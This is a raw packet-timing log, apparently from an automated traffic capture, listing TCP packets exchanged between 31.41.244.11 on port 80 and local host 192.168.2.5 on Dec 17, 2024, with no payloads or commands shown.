Dec 17, 2024 08:03:32.317667007 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.317702055 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.318471909 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.318511009 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.318564892 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.318603039 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.319478989 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.319494009 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.319518089 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.319530010 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.320365906 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.320415974 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.320477009 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.320513010 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.321258068 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.321296930 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.321360111 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.321396112 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.322184086 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.322222948 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.322272062 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.322305918 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.323137045 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.323152065 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.323175907 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.323193073 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.324044943 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.324106932 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.324258089 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.324294090 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.324986935 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.325001955 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.325028896 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.325038910 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.325922966 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.325938940 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.325962067 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.325972080 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.326822042 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.326860905 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.326919079 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.326955080 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.327801943 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.327816963 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.327840090 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.327852011 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.328643084 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.328658104 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.328681946 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.328694105 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.329498053 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.329538107 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.329564095 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.329598904 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.330523968 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.330538988 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.330562115 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.330573082 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.331343889 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.331382990 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.331438065 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.331475973 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.332272053 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.332309008 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.332365036 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.332401037 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.333132982 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.333170891 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.333220005 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.333256006 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.334059954 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.334096909 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.334254980 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.334290981 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.334976912 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.335017920 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.335123062 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.335156918 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.336066961 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.336103916 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.336555004 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.336591005 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.337969065 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.338006973 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.338231087 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.338267088 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.338498116 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.338512897 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.338531971 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.338543892 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.338821888 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.338859081 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.338861942 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.338897943 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.339590073 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.339627028 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.339673996 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.339706898 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.340532064 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.340560913 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.340701103 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.340701103 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.341396093 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.341443062 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.341485023 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.341519117 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.342339039 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.342376947 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.342427015 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.342463017 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.343187094 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.343224049 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.343277931 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.343324900 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.344232082 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.344269991 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.344305038 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.344338894 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.345307112 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.345344067 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.345391989 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.345426083 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.346024036 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.346039057 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.346059084 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.346071005 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.346992970 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.347007990 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.347031116 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.347049952 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.347923994 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.347963095 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.348069906 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.348104954 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.348841906 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.348880053 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.348932028 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.348964930 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.349639893 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.349677086 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.349725962 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.349761009 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.350467920 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.350521088 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.494910955 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.494965076 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.495038033 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.495078087 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.495189905 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.495228052 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.495277882 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.495321035 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.496206045 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.496244907 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.496268988 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.496308088 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.497064114 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.497198105 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.497247934 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.497287989 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.498013020 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.498028040 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.498050928 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.498064995 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.498837948 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.498878956 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.498939037 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.498977900 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.499984026 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.500024080 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.500072002 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.500107050 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.500730991 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.500767946 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.500799894 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.500834942 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.501674891 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.501689911 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.501710892 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.501723051 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.502496004 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.502536058 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.502599001 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.502681971 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.503437042 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.503477097 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.503529072 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.503566027 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.504370928 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.504410028 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.504461050 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.504496098 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.505284071 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.505325079 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.505374908 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.505409002 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.506318092 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.506333113 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.506356001 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.506366968 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.507364035 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.507406950 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.507471085 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.507505894 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.508527040 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.508543015 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.508563995 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.508574009 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.509592056 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.509634972 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.509684086 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.509720087 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.510561943 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.510576963 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.510597944 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.510608912 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.511683941 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.511699915 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.511723042 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.511744022 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.512470961 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.512485981 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.512506962 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.512521029 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.512912989 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.512928009 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.512950897 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.512963057 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.513570070 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.513609886 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.513664007 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.513700008 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.514528990 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.514544010 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.514568090 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.514579058 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.515362024 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.515404940 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.515453100 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.515489101 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.516357899 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.516372919 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.516396046 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.516407967 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.517199039 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.517239094 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.517296076 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.517330885 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.518126011 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.518170118 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.518212080 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.518248081 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.518996000 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.519033909 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.519081116 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.519114971 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.520256996 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.520271063 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.520292044 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.520303965 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.520896912 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.520936012 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.520987034 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.521023035 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.521898985 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.521990061 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.522069931 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.522069931 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.522978067 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.523017883 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.523065090 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.523106098 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.523695946 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.523710966 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.523735046 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.523747921 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.524460077 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.524511099 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.524604082 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.524646044 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.525495052 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.525511026 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.525533915 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.525547981 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.526442051 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.526483059 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.526532888 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.526571989 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.527334929 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.527349949 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.527374983 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.527389050 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.528330088 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.528343916 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.528369904 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.528384924 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.529104948 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.529145956 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.529208899 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.529249907 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.530210018 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.530225039 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.530255079 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.530265093 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.530966997 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.531007051 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.531043053 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.531081915 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.531774998 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.531816959 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.531985998 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.532026052 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.532769918 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.532812119 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.532886982 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.532928944 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.533724070 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.533740044 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.533765078 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.533776999 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.534549952 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.534595013 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.534646034 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.534684896 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.535506964 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.535547972 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.535598040 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.535636902 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.536385059 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.536422968 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.536493063 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.536531925 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.537302971 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.537343025 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.537467003 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.537506104 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.538250923 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.538290977 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:32.538345098 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:32.538383007 CET	49867	80	192.168.2.5	31.41.244.11
